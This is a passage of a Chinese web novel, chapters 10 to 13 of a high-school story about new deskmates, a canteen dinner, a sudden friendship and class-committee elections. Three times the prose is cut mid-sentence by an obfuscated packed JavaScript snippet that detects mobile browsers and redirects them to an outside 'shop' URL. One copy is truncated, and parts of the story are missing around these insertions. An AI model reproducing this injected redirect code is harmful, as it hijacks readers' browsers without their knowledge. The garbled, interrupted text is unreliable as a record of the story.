“嗯,我刚181,卡着边儿。”贺疏放点点头,目光落向了东篱夏身后探头探脑的虞霁月,似乎想起了什么,又笑了,“哟,紫外线过敏好了没?” 虞霁月一点不介意,反而笑嘻嘻地回敬,“托您的福,痂都快掉了!” 三个人都笑了起来,还没来得及多聊,晚课的预备铃就已经响了起来。 年轻漂亮的英语老师走进教室,柳鸿慢条斯理地给开了个场,“陈老师虽然从教时间不长,但带的两届学生成绩都特别优异,英语是主科,大家都好好跟着陈老师学啊!” “同学们晚上好,我是你们未来三年的英语老师,也是江大附中的毕业生,算是学姐,大家可以直接叫我的英文名Christine。” 知性大美女啊,东篱夏在心里感叹道。 “英语刚考完,是不是还热乎着呢?咱们就趁热把摸底考试卷讲了,也是为了尽快了解大家的水平。” 底下一片哀嚎,哪有考完试就立刻讲试卷的啊! Christine恍若未闻,继续笑盈盈地说着最绝情的话:“不过呢,自己看自己的卷子,有时候会下意识地给自己放水,拼写错误容易漏过去。所以,咱们同桌先互换试卷,我一会儿对答案,大家互相批改除了作文以外的部分,要仔细哦。” 这么知性优雅的大美女是怎么说出这么冰冷的话来的? 东篱夏要怀疑人生了,对于她和贺疏放这种刚刚相认的新同桌来说,几斤几两顿时就暴露在对方面前,看对方错得多尴尬,自己错得多更尴尬。 她悄悄用余光瞥向贺疏放,发现那张清秀的脸上刚才还残存的一点笑意也彻底消失了。但他没说什么,只是默默地从书包里掏出折了几折的英语卷子,用力压了压,迟疑了一下,还是递了过来。 东篱夏也只好把自己的卷子推过去,接过贺疏放的试卷,东篱夏第一眼就被那手字震了一下。 果真是字如其人,人如其名啊。 贺疏放的英文写得像草书一样,她不仔细去看,都分不清A和B,语篇填空写得更是黏在一块,字母和字母之间两人三足一样,完全是小学生字体。 Christine已经开始念听力答案了,东篱夏赶紧收敛心神,拿起红笔,艰难地辨认起贺疏放的一手草书。 越批她的眉头皱得越紧。 错了……又错了……这个也错了…… 贺疏放的英语果然像她妈妈说的一样不怎么样。 听力部分一共十五道题,贺疏放直接错了六个,正确率刚到及格线。完形填空更是重灾区,语篇填空的变型如同没学过英语一样——confuse变形容词,人家明明叫confusing,贺疏放到底是怎么想的,能写一个confucius上去,把孔子老人家拉出来溜了溜? 东篱夏批得心惊胆战,一方面为惨烈的正确率感到震撼,另一面又觉得拿着红笔在人家卷子上划叉实在太残忍。 答案对完,Christine笑眯眯地问:“怎么样?算算总分,有没有全对的?” 底下鸦雀无声,甚至有大胆的男生干巴巴笑了两声。 东篱夏在贺疏放试卷第一页写下-18时,手都有点抖了,偷偷瞟了一眼贺疏放手里自己的卷子,竟然只扣了4分? 自己蒙得也太准了一点吧! 感觉到东篱夏的目光,贺疏放抬起头,扯了扯嘴角,露出一个比哭还难看的苦笑,眼神里写满了生无可恋。 东篱夏把批改好的试卷递还给贺疏放时,感觉他整个人都要碎掉了。 她甚至有点同情他了。 被陌生的新同桌目睹如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957784|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惨状,再一对比两人的成绩,心理阴影面积得多大? 她犹豫了一下,决定展现一点新同桌的关怀,趁着同学们同桌互换卷子的嘈杂,真心实意地低声安慰:“那个,其实我这次好多也是懵的,运气好而已,下次就不一定了。”这话她说得真心实意,英语试卷上那些陌生词汇,她确实蒙对了不少。 贺疏放苦笑着看了她一眼,眼神里明明白白地写着:你看我信吗? Christine似乎对没人全对有点失望,又问了一句,“扣分在五分以内的同学呢?举下手我看看,给大家树个榜样。” 东篱夏看到,在另一个中等个子组,有个女生举了手,她听苗时雨乱点鸳鸯谱的时候介绍过,是江南一中金童玉女中的神女,传说中不费什么工夫就能取得好成绩的盛群瑛。 “你叫什么名字,扣了几分?”Christine期待地问。 “我叫盛群瑛,扣了两分。”盛群瑛应答得很从容,这话一出,教室里立刻响起一片倒吸冷气的声音,夹杂着一两句不大礼貌的“我靠”。听力、语篇填空一个1.5分,阅读一个两分,只有完形填空一个一分,盛群瑛要不就是只错了一个阅读,要不就是只错了两个完形填空,东篱夏扣了四分自觉已是侥幸,没想到盛群瑛竟然这么厉害。 她下意识地看向贺疏放,贺疏放显然也听到了,朝盛群瑛的方向抬了抬下巴,又指了指自己-18分的卷子,最后做了个无奈摊手的动作。 东篱夏看懂了他的意思,她记得贺疏放和盛群瑛都是江南一中的,忍不住压低声音问,“她一直这么厉害吗?” 贺疏放倒是笑了,“对我们这种扣了快二十分的人来说,你这种扣四分的,和她那种扣两分的,有区别吗?” 东篱夏被他的话噎了一下,仔细一想,竟然无法反驳。她知道自己侥幸的四分和盛群瑛的两分在实力上究竟差了多少,但从贺疏放的视角来看,差距确实微乎其微。 Christine又问还有没有其他扣分少的,东篱夏犹豫了一下,也举起了手。 “霁月,是你吧?”Christine的目光却先越过了东篱夏,落在了她身后的虞霁月身上,语气亲切。 嗯?Christine怎么会认识霁月,还叫得这么自然? 虞霁月似乎也愣了一下,但还是很快答道,“老师,我扣了4.5分。” “很不错,再接再厉。”Christine点点头,这才将视线移到东篱夏身上,“这位同学呢?” “老师,我扣了四分。”东篱夏连忙说。 “很好啊,继续保持。”Christine给予了同样的评价,简单的调研结束,脸上的笑容收敛了些,“就三个同学呀,我以为能有五六个呢,等月考的时候再看看你们实力。” 说完,她就开始快速地带着大家过试卷上的重难点词汇,拓展相关词法。 Christine的语速比初中英语老师快得多,一节课知识点密度特别大,显然不打算给这群刚受完打击的天之骄子们任何喘息的机会。东篱夏赶紧收敛心神,强迫自己跟上节奏。 东篱夏跟得勉勉强强,手比脑子还快,感觉自己要是能把半节课的东西记进脑子里,就已经是万幸了。 她趁着Christine喝水的间隙环顾了一下四周,发现大多数人都跟不上骤然被拔高的课程强度,旁边的贺疏放笔记本上的字都不像英文了,说是俄语都不为过。 可能这就是江附的强度吧,她想着,写字的速度加快了些。 11. 好朋友 下课铃终于解放了这群抄英语板书快抄到手抽筋的孩子们,Christine到底还是具备年轻老师的美德,十分理解高中生对吃饭的渴望之情,听到铃响就把粉笔往讲台一丢,干脆利落地宣布下课。 教室瞬间喧闹起来,桌椅的碰撞声和迫不及待的脚步声汇成一股洪流,天之骄子们推推搡搡往门外挤,紧接着迅速向楼梯下冲去,飞奔向食堂,不知道怎么上了节晚课就饿成这样。 东篱夏想,看动物大迁徙根本不用去非洲大草原,只要提前几分钟站在江大附中的操场上,就能看到教学楼各个出口涌出黑压压的人群,浩浩荡荡穿过操场,堵在窄窄的食堂大门口,蔚为壮观。 她本想问虞霁月要不要一起吃晚饭,对方倒是先开了口,“夏夏,我家里人给我送饭,我就不去食堂吃晚饭啦,你快去吧,再晚点就没饭了。” 东篱夏无奈,又要一个人面对食堂的人山人海了。 旁边收拾东西的贺疏放却突然凑过来,“要不要跟我和何建安再去食堂吃一顿,正式认识一下?” 东篱夏有些意外,但很快点了点头。 她心里迅速盘算了一下:如果只和贺疏放两个人去,难免显得有点微妙,容易让人误会交往过密传闲话。但加上何建安,就成了再正常不过的新同学小范围熟悉聚餐,安全多了。 “老何!走了!”贺疏放朝已经走到门口的瘦高身影喊了一嗓子,何建安回头,没什么表情,但还是停住了脚步等他们。 三人汇入迁徙大军,下楼时,贺疏放很自然地伸手搭在何建安肩膀上,两人身高差明显,贺疏放181的个子在187的何建安身旁,硬是显出几分小鸟依人来,何建安虽然表情还是淡淡的,但也没甩开他。 “唉,我英语前面扣了七分。”何建安忽然悠悠冒出一句。 贺疏放搭在他肩上的胳膊明显僵了一下,随即用力拍了他一下,被何建安嫌弃地微微躲开,前者哀嚎道:“何建安,在这跟扣了18分的人说这个,跟你是人吗?” 东篱夏跟在他们身后半步,看着二人亲密互动,差点没忍住笑出来。贺疏放在她面前还有点努力维持形象的拘谨——虽然形象已经因为英语卷子碎了大半,在何建安面前倒是彻底原形毕露了。 食堂依旧人声鼎沸,刚刚大迁徙完的动物们亟需食物补给,贺疏放眼疾手快,看见一桌高三学长学姐刚刚离开,立刻从裤兜里掏出一包面巾纸,“啪”拍在了饭桌中间,“走吧,占好座了,看看吃点啥。” 东篱夏对中午的烧麦仍有阴影,又干又噎,决定换换口味,就去排了米线的窗口。等端着热气腾腾的米线回来时,贺疏放和何建安已经在她对面并排坐好了,每人面前摆着一份一模一样的十五元素盒饭,看上去清汤寡水的。 “你俩就吃这个?”东篱夏坐下,有点惊讶。两个正在长身体的男生,吃这么素? 何建安没说话,贺疏放倒是装模作样地叹了口气,“你吃完再去转一圈,稍微好吃一点的,都被高二高三学长学姐和楼层低的同学买光了,只能剩啥吃啥了。咱们两个清北班,看上去高高在上守着空空的四楼,一吃饭,就明显在食物链最底端了。” 话音刚落,他的筷子就迅速伸进了何建安的盘子里,精准地夹走了一块不知是鸡肉还是蘑菇的东西,迅速塞进自己嘴里。 何建安:“……” 贺疏放嚼了嚼,笑嘻嘻地搂了一下何建安的肩膀:“看,你买的时候非说没有肉,我给你实践了,这不多少有点嘛!” 何建安面无表情地拨开他的胳膊,有点费解地问:“你俩新同桌吃饭就吃饭,非要拉上我干什么?” 东篱夏被他俩一个愿打一个愿挨的甜蜜互动噎了一下,决定掌握话题主动权,拌了拌碗里的米线,开口道,“那就先讲讲你俩吧,怎么认识的?” “孽缘,纯属孽缘。”贺疏放笑了,“小学时候我俩在一起学奥数班,总比谁做题快,互相看不顺眼,都觉得对方是自己成神之路的绊脚石。” 何建安难得地主动开口补充了一句,“他那时候字就写得丑,抄我答案我都认不出来。” “说什么呢,那都是我自己算出来的!”贺疏放抗议道,自然而然地接过了话头,“不打不相识,初中不知道走了什么狗屎运,都考上了江南一中,还分到一个班了。一起打球,一起琢磨难题,一起联机打游戏互相坑……就这么混成兄弟了,后来就一起卯着劲考江附了。” 他顿了顿,瞥了何建安一眼,语气忽然变得酸溜溜的,“当然,可能是我单方面硬蹭。人家何建安,中考全市第八,我呢,四十多名挤进来的,看来我才是人家成神之路的绊脚石!” 说完,贺疏放还夸张地叹了口气。 何建安白了他一眼,没接这个话茬,低头扒了一口饭。 贺疏放转向东篱夏,“对了,东篱夏,你是哪个初中的来着?我记得你初中是在江北念的。” “江北实验。”东篱夏答。 何建安扒拉饭的动作顿了一下,看了看东篱夏,又看了看贺疏放,脸上闪过明显的困惑:“你俩不是自己选的同桌吗?连对方哪个初中的都不知道?” 东篱夏和贺疏放对视一眼,都在对方脸上看到了同样的无奈。 包办婚姻,门当户对就行了,谁还管你那么多啊! 东篱夏叹了口气,言简意赅:“不是选的,是我妈妈和周阿姨觉得我们文理互补,住得又近,就,嗯。安排了一下。” 何建安了然,点了点头,没再追问,“正常,家长都这样。” 贺疏放又问:“那你初中班里,还有别人考上吗?” 东篱夏夹米线的筷子顿了一下,脸上的神色淡了些,明显不想继续这个话题,“有,一班韩慎谦。” “哦,韩慎谦,我知道他!”何建安的眼神亮了一下,语调也难得地有了起伏,“江北实验的都说他厉害,我就军训休息的时候跟他聊过几句,关于一道物理竞赛题。他虽然没提前学过,但反应特别快,思路也清晰,接受新东西特别迅速,是个人物。” 贺疏放倒是察觉到了东篱夏身体微微的僵硬和瞬间黯淡下去的眼神,不动声色地在桌子底下轻轻给了何建安一脚。 何建安不明所以地看了贺疏放一眼,贺疏放没理他,迅速岔开话题:“是嘛,我们初中班里考得也不错,来了四个呢!” 他成功把东篱夏的注意力拉了回来,“除了我俩,还有甄盼,也在咱们班,另一个是洛宓,就是何建安现在的同桌。” 东篱夏思索了一下,“我怎么感觉一直没有见过她?” 高个子组只有两个女生,一个叫白丽妍,长得就像国际超模一样,将近一米八,是那种明艳大方的好看,不少女生都主动去搭话了,东篱夏虽然也十分喜爱美女,可惜到底没战胜社恐,有搭讪之心,无搭讪之胆。 如果洛宓和白丽妍差不多高的话,自己应该也会有印象的。 “洛宓情况有点特殊,她是咱们数学洛老师的女儿,算是借读在我们班,不占招生名额。所以军训她不用参加,今天考完试好像就直接回家了,晚自习也没来。” “至于我们四个能分到一个班……”贺疏放压低了点声音,一脸“你懂的”的表情,“据说是托了洛老师的福,稍微运作了一下,让我们几个够清北班分数线的老同学还能在二班团圆。” 东篱夏听得暗暗咋舌,重点高中的分班,竟然也有各种人情操作。 贺疏放最后意味深长地加了一句,“以我对甄盼的了解,她很快就会来认识你的。” 话音未落,像召唤出了什么NPC一样,一个俏皮的声音突然从东篱夏侧后方想起,“嘿,贺疏放,你还真是了解我啊!” 东篱夏还没反应过来,一个小巧的身影就迅速坐在了她旁边的空位上,正好在何建安对面。 来人是个女生,个子不高,大概158左右,皮肤很白,扎着利落的马尾,几缕碎发垂在耳侧,脸颊有两个浅浅的酒窝,整个人从里到外散发着十足的亲和力,第一眼看去就很难让人产生戒备。 贺疏放明显噎了一下,刚才那点意味深长的表情瞬间变成了“看,我说什么来着”的无奈,尴尬地干笑两声,“东篱夏,她就是甄盼。” 甄盼没理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957785|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,目光直接转向了东篱夏,笑容更加灿烂,“你好呀,我叫甄盼,是他们俩的初中同班同学!我知道你,东篱夏对吧?中考状元,太厉害了!” 状元这两个字还是让东篱夏条件反射般地感到一点窘迫,正想习惯性地说“没有没有”,还没来得及开口,对面一直安静吃饭的何建安却突然有了大动作。 何建安放下筷子,一只手面无表情地端起饭盘子,另一只手极其自然地拽住了贺疏放的胳膊肘,“吃完了,走。” 贺疏放被他拽得一个趔趄,脸上满是“我就知道会这样”的无奈,但也只得匆匆对两个女生露出一个抱歉的笑,就被何建安半拖半拽地拉走了,迅速消失在食堂嘈杂的人群中。 何建安过激的反应让东篱夏有点懵。 这是在躲着甄盼?而且看贺疏放的反应,似乎早就习以为常了。 然而当事人甄盼面上却毫无波澜,笑眯眯地转向东篱夏,非常自然地接上了刚才被打断的对话,“你慢慢吃呀,反正今天刚考完试,又没作业,一个人吃饭多没意思,我陪你一会儿!” 东篱夏心里的疑惑还在,但面对如此直白的善意,本能地无法拒绝,也舍不得拒绝。 她点了点头,“好,但是我可能还得吃一会儿……” “没事没事,你慢慢吃,我不急。”甄盼托着腮,就真的安安静静坐在旁边,看着东篱夏吃着已经快凉透的米线,偶尔说两句无关痛痒的话。 等到东篱夏终于吃完最后一口,放下筷子,甄盼已经从自己裤兜里掏出一包印花面巾纸,很自然地抽出一张递了过来,“给,要擦嘴吗?” 东篱夏心里一暖,对甄盼的好感度直线上升。 “要不要去小卖部逛逛?”甄盼兴致勃勃地提议。 东篱夏立马应和,她确实很想探索索新环境,现在有人愿意带着,简直再好不过。 “那走吧,我带你去!”甄盼立刻站起身,很自然地挽住了东篱夏的胳膊,她身体微微一僵,但很快又放松下来。 她对这种肢体接触很陌生,但并不讨厌。 两人走出依旧喧闹的食堂,甄盼一路叽叽喳喳。两个人走到小卖部,里面不大,挤满了学生。货架上琳琅满目,从文具到零食饮料一应俱全,最多的还是各种口味的泡面。 甄盼熟门熟路地钻到零食区,东篱夏也跟着看了一圈,目光到底落在了一排喜之郎果冻上。 她特别爱吃果冻,但奶奶一直不准她吃,只有开联欢会或是运动会的时候大家都带零食来,东篱夏才有用自己的零食和别人换喜之郎果冻的机会。 她拿起一个,转头问甄盼,“你喜欢吃这个吗?” 甄盼凑过来一看,眼睛立刻亮了,“喜欢呀,我最喜欢吃什锦果肉味的!” 有品。 东篱夏心里微微一动,“我也觉得什锦果肉的最好吃,尤其喜欢里面那个红色的小爱心果肉。” “对吧对吧!”甄盼兴奋地点头,“太有品了,那个小爱心是精华!” 东篱夏没怎么犹豫,就拿了两杯什锦果肉味的喜之郎,排大长队付了钱,然后很自然地递了一杯给甄盼:“给,请你吃。” 甄盼接过果冻,脸上的笑容更灿烂了,“谢谢,那我们就是好朋友啦,下次我请你吃好吃的!” 这就是好朋友了? 东篱夏有点恍惚。 在此之前,她以为在江大附中清北班这种全是竞争的地方,过了军训那段纯粹快乐的时间,回到学校,交朋友就需要小心翼翼反复衡量了,她也早就做好了长期观察、慢慢靠近的准备。 甄盼简单的温暖精准地击中了她内心最柔软的部分。 虽然她还是没明白甄盼为什么突然主动对自己释放善意,也没搞懂何建安明显的躲避究竟为何,但此时此刻,两个小姑娘握着同样的果冻,听甄盼开心地计划着下次要请她吃哪种口味的薯片,东篱夏决定暂时不去想那些复杂的为什么。 就这样吧,她偷偷看了一眼身边笑容明亮的甄盼。 就像接受这个果冻一样,先尝了甜头再说,至于以后会怎样,等以后再说吧。 12. 探险家小姐和雪山先生 从一楼小卖部回四楼教室的路上,人影渐渐稀疏,走在前面的甄盼忽然放缓了脚步,“对了,跟你说个事儿。” “嗯?” “我从初中开始就喜欢何建安。” 说完,甄盼又若无其事地用小勺舀了块椰果送进嘴里。 啊? 东篱夏瞪大眼睛看向甄盼——她们认识才满打满算不到半小时,这么私密的问题,甄盼就这么连铺垫都没有,轻飘飘地告诉她了? 东篱夏一贯慢热,甄盼这种一敞开心扉就如同开闸放水的风格,让她既受宠若惊,多少又有点手足无措。 还有,喜欢何建安? 何建安个子确实很高,但长相就是标准的理科学霸脸,算不上帅。要说性格,从有限的接触来看,也就对贺疏放还能有点活人气息,对其他人都是一副生人勿进的鬼样子。更何况,甄盼一出现,何建安就拽着贺疏放“战略性撤退”了,显然在躲着她。 不知不觉间,她想着何建安,已经带了点娘家人对女婿的审视色彩了。 “你喜欢他什么?” 东篱夏忍不住问出了口,自觉有点冒昧,但甄盼的坦诚多少也给了她直抒胸臆的勇气。 甄盼又挖了一勺果冻,成功精准叉中红色的小爱心,满足地放进嘴里,含糊不清地答道:“初中的时候,我和他做过两年同桌。” 江南一中不按身高分座位吗? 东篱夏想不通。 “没想到吧?”看到她脸上震惊的表情,甄盼笑了,“他初一的时候还没开始长个儿呢,也就一米六几,瘦瘦小小的,坐我旁边。自从初二下疫情来了那半年,他就像吃了激素一样,半年就窜到现在这么高了,人更闷了点儿。” 她顿了顿,语气变得认真了点:“何建安这个人吧,外表看起来冷冰冰的,好像对什么都不在意,其实有很多很好的地方。” “比如呢?”东篱夏适时地接话。 “比如他做事从来不会瞻前顾后,想清楚了就干,特别果断。而且他嘴上可能什么都不说,但只要发现你需要帮助,就一定会帮你。” 甄盼的声音轻了下来,“我初中当班长,有一次管纪律,和班里的同学闹了点矛盾,其实也不是什么大事,但当时觉得挺委屈的。后来那个同学主动来跟我道歉了,我一问,才知道是何建安劝的,他自己倒是压根没跟我提这事。” 东篱夏静静地听着。 “我后来问他怎么不跟我说,他还是那副不苟言笑的死样子,跟我说他单纯觉得这事是对的,应该做,所以就做了。” 她也不知道,何建安到底是死鸭子嘴硬,还是单纯路见不平拔刀相助。 “那何建安他知道你喜欢他吗?” 话一出口,东篱夏就后悔了。看今天食堂何建安那避之唯恐不及的样子,答案不是明摆着吗? 甄盼倒是坦然地点了点头,“知道啊。初中毕业聚餐那天,我意识到自己喜欢他,就直接告诉他了。” “他怎么说?”东篱夏的心提了起来。 “他说,谢谢,但我不喜欢你,祝你前程似锦。”甄盼复述这句话的时候,甚至还模仿了何建安的语气,“就这几个字,一句多余的都没有。” “啊……” 听了这话,东篱夏都替甄盼难受了。如果换成她自己,被这么直白地拒绝了一遭,估计当场眼泪就要掉下来,以后恐怕都得绕着对方走了。 甄盼的反应再次超出了她的理解范畴。 “然后呢?你们现在……”东篱夏不知道该怎么问下去。 “然后?”甄盼转过头,对着东篱夏粲然一笑,“然后就像你现在看到的这样啊。我喜欢他,是我的事。他不喜欢我,是他的事,这两件事可以并行不悖的。” 她说得那么理所当然。 东篱夏从来没听过这样的逻辑,她一直觉得喜欢得不到回应,就意味着一方将沉浸在痛苦、羞耻和自我怀疑中,意味着需要立刻切断联系以保全自尊。 可是甄盼不一样。 探险家小姐和雪山先生——东篱夏脑海里莫名冒出了这个比喻,细细想想,觉得再贴切不过。 甄盼像一个勇敢的探险家,被雪山的壮丽和神秘所吸引、雪山沉默不语,终年覆盖着坚冰,宣告着生人勿近,但探险家从不会因为雪山的沉默而退缩,反而被激起了更强烈的好奇心和征服欲。 她想要靠近,想要了解,想要用自己的方式去解读那座山,哪怕永远无法真正抵达峰顶,哪怕只是绕着山脚行走,记下沿途的风景。 “不会很辛苦吗?或者别人会不会觉得你……” 东篱夏没忍心说出口。 “傻?恋爱脑?” 甄盼接过话头,依旧是笑盈盈的样子,“肯定有人这么觉得啊。我自己再过四五年回头看,肯定也会觉得现在的自己傻乎乎的。” “但是我觉得很多时候,爱是要比被爱更幸福的。” 她彻底停下脚步,转过身正对着东篱夏, “主动去喜欢一个人,主动去对别人释放善意,就像我今天对你这样。无论对方接住了,或者像何建安那样没接住,都无所谓,这个过程本身就已经挺有意思了。” “你这么早就能想明白这些,真好。”东篱夏打心眼里羡慕甄盼。 没想到,甄盼摇了摇头。 “我觉得现在我这么想,恰恰就是因为我年纪小。等到二三十岁的时候,哪怕再过两三年,没准就得想面子,想别人怎么看我,想影响好不好。” 甄盼的语气头一次没那么轻松了,“其实我更害怕,如果将来某一天我后悔了,觉得现在这样子很傻,那不就等于背叛了十五岁时候勇敢又纯粹的自己吗?” “我才不要。” 东篱夏看着眼前这个比自己矮了半个头,皮肤白皙、笑容明亮的女孩子,有点恍惚。 她习惯了谨慎,习惯了自我怀疑,习惯了预设最坏的结果以让灾难真正砸下来时心里更好受些,而甄盼却在勇敢地奔赴和坦然地接受。 哪怕对象是一座沉默的雪山,哪怕在旁人看来毫无胜算。 她跟上甄盼的脚步,关于甄盼为什么莫名其妙对自己释放善意的疑惑,似乎找到了一个合理的答案。 或许对甄盼而言,释放善意和表达喜欢一样,都是她体验生命的方式,是她勇敢又纯粹的本能,而自己也阴差阳错地接住了这份善意。 她在心里对甄盼说,谢谢你,探险家小姐。 回到四楼二班的教室,虽然离晚自习正式开始还有一小段时间,不少同学已经坐在了位置上,直接摊开新发的书,即使有聊天的同学也压低了声音。 虞霁月倒是没在学习,正津津有味地看着书,看东篱夏回来,有点不好意思地抬头笑了笑,她凑近看了一眼,是那不勒斯四部曲中的一本。 东篱夏下意识瞟了眼盛群瑛的座位,还是空着的。她之前听说江大附中有图书馆,想着大神恐怕早就直接去图书馆争分夺秒了。 结果,教室前门被轻轻推开,盛群瑛走了进来,没回座位,而是径直走到教室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“挺好的,”东篱夏点点头,嘴角不自觉地上扬,“有点不可思议,但好像很快就成为朋友了。” “这么快?”贺疏放果然惊讶地挑了挑眉。 东篱夏笑了笑,没说话。 贺疏放似乎想到了什么,声音压低了点,朝何建安的方向扬了扬下巴,“她是不是跟你说她的事了?” 东篱夏明白他指的是什么,轻轻“嗯”了一声。 贺疏放叹了口气,“甄盼人挺好的,但何建安那家伙你也看到了,每天见人家,除了躲就是跑,害得我晚饭都没吃饱。” 东篱夏被他逗乐了,看着贺疏放确实有点可怜兮兮的样子,十五块钱买了份食堂性价比极低的素盒饭,还被何建安拉走没吃完。 她忽然心念一动,把刚刚给自己买的喜之郎什锦果肉果冻递到了贺疏放面前。 “给。” 贺疏放愣住了,看看果冻,又看看东篱夏,脸上的表情从诧异变成了哭笑不得的调侃:“怎么,看我想学化学,奖励我一个果冻,祝福我早日成为太空人?” 东篱夏也愣了一下。 叽里咕噜说什么呢? “我要当太空人,爷爷奶奶可高兴了,给了我爱吃的喜之郎果冻”吗? 东篱夏无语地笑出了声,教室里很安静,引来了附近几道好奇的视线。 她有点不好意思,但还是坚持把果冻又往前递了递,小声说:“不是那个意思,你不是没吃饱吗?这个给你吃。” 她是真的想这么做。 她也想试试看,像甄盼那样,主动对他人释放一点善意,哪怕只是一杯喜之郎。 “谢啦。”贺疏放脸上的调侃渐渐淡去,没有再开玩笑,伸手接了过来,目光重新落回那本《无机化学》上,翻页的速度似乎慢了一些。 主动社交对她来说,好像真的不再是一件困难的事了。 东篱夏如是想。 13. 盘古开天地 晚自习的预备铃打响,盛群瑛终于拎着羽毛球拍踩点走了进来,明显出了不少汗。 柳鸿早就来了班级视察晚自习,目光也落在了盛群瑛身上,依旧慢条斯理的,话里的意味倒是不言自明:“刚进入高中,大家还是要尽快把心收回来,竞争不等人。” 他没有点名,但大家都心知肚明,盛群瑛本人却恍若未闻,没事人一样回了座位。 柳鸿没再多说,转而开始宣布正事:“新学期开始,我们需要先选一套预备班委,临时负责一些班级事务,一个月后再根据表现正式选举。” “之前统计过大家的意愿,周益荣和甄盼两位同学有意当班长,正好一男一女,并且两位同学初中都有过相关经验,大家有意见吗?” 班里没人反对,就算定了。 “接下来是学习委员,”柳鸿目光扫过台下,“主要负责收发作业,写课表,需要一定的学习能力和责任心,有同学自荐吗?” 东篱夏的笔顿了顿。 她其实挺喜欢这类工作,初中时也和韩慎谦一起当过学委。但江大附中不一样,汇聚了全市顶尖学霸,学委肯定更要起表率作用,自己靠着超常发挥才挤上来,真的配当学习委员吗? 万一以后成绩掉下来,岂不是更惹人笑话。 旁边的贺疏放显然以为她会参选,甚至似乎准备好等她举手后小声鼓个劲,见她毫无动静,有些意外地看了她一眼。 东篱夏察觉到了他的目光,在柳鸿转身的间隙,用只有两人能听到的声音飞快解释:“班里有挺多人能力比我强,学委得是学习最好的,我肯定不行。” 她说得含糊,贺疏放皱了皱眉,似乎想说什么,但还没来得及开口,讲台上的柳鸿已经转回身,恰好捕捉到贺疏放欲言又止的样子,不轻不重地咳了一声,警告意味明显。 贺疏放只得把话咽了回去,重新坐正。 让东篱夏略感意外的是,盛群瑛也没有举手,甚至手下笔都没停,不知道在算些什么。 短暂的沉默后,倒是何建安举手了:“老师,我想试试。” 柳鸿点了点头,显然对他的主动很满意,见无人再应,便定了下来。 贺疏放主动报名当了代理体委,东篱夏看着他清秀的侧脸,实在很难把他和运动场上挥汗如雨的样子联系起来。但想想他军训时扶自己的利落劲儿,似乎也并非完全不可能。 班委初步选定,柳鸿没再多话,直接进入了正题——发练习册。他随便点了几个前排的状丁开始分发,不一会儿每个人的桌面上就都堆起了小山。 东篱夏粗略数了数,每科至少三本:一本难度比较高的《必刷题》,一本江大附中内部编写的学案,里面是知识点梳理和精选例题,还有一本其他口碑较好的优质练习册。 每科三本,六科就是十八本,更别说有些科目压根不止三本。二十多本书练习册就这么砸了下来,她甚至都找不到地方放。 看着眼前这摞堆起来离塌了也不远的新书,东篱夏感到了实实在在的压迫感。 这就是江大附中的分量啊。 柳鸿不顾这群新生的哀嚎,继续慢条斯理地补充道,“平行班做一两本就够了,你们得清楚,自己是清北班的学生,每本都必须做完。” 东篱夏深吸一口气,决定今晚就从最让她头疼的化学开始。 她挑出那本附带知识点梳理的练习册,打算先通读一遍梳理部分,再尝试做后面的基础题,遇到不会的,正好直接问贺疏放。 贺疏放倒是完全无视了这堆崭新的练习册,统统堆到了地上去,又沉浸在了无机化学的世界进去,时不时在旁边的草稿纸上写写画画一些东篱夏不太看得懂的方程式。 东篱夏收回打量的目光,按照计划,先看梳理,再做配套的题,果然没做几道就卡住了。 “以下选项中,正确选项的数量是()A.1B.2C.3D.4” 东篱夏从初中开始就最讨厌这种伪装成单选的邪恶多选题。 为什么非得给多选题套个单选的壳子?如果是多选,少选起码还能得两分,出成单选,不会就彻底是不会了。 内容无非是关于电解质的概念判断,每个选项都带着“全部”、“凡是”、“一定”这类绝对化的字眼,东篱夏也知道这类题爱考特例,可一时半会儿怎么也想不出能推翻“全部”的反例是什么。 犹豫再三,她还是轻轻用笔戳了戳碰贺疏放的手臂。 贺疏放从无机化学的世界里回过神来,侧头看她,东篱夏把练习册推过去一点点,指着那道题,声音压得极低:“打扰了,这个强电解质的导电能力一定比弱电解质强,我觉得是错的,但想不出为什么。还有下面几个选项,答案就给个结果,具体谁多谁错,也拿不太准。” 根据十五六岁男孩子热爱小装一下的通病,她生怕贺疏放给自己来一段完全听不懂的高端专业化学术语展示。 贺疏放接过练习册,目光快速扫过题目,几乎没怎么思考,“导电能力不光看电解质本身强弱,还跟离子浓度、温度这些有关。” 接着,他又三言两语点破了另外几个选项的关键,都是东篱夏能立刻听懂的反例,一点炫技的意思也没有。 东篱夏恍然大悟,连忙道谢,贺疏放只是随意地笑笑,重新钻回了他的无机化学里。 到晚自习结束,她已经靠着贺疏放的几次点拨,磕磕绊绊地刷完了练习册前面的部分,虽然慢,但心里踏实了不少。 她真心实意地道谢,“问了这么多题,实在抱歉打扰你了。” “客气啥。”贺疏放也合上了他的大厚书,揉了揉有些发酸的后颈,“化学竞赛和课内还不完全一样,正好我化学这科不太打算做课内的题了,你多问我点,就当帮我筛题了。” 说完,又像突然想起了什么,眉眼弯弯调侃道,“篱夏严选,必属臻品。” 东篱夏又一次无语地笑了起来。 都是些什么跟什么呀! 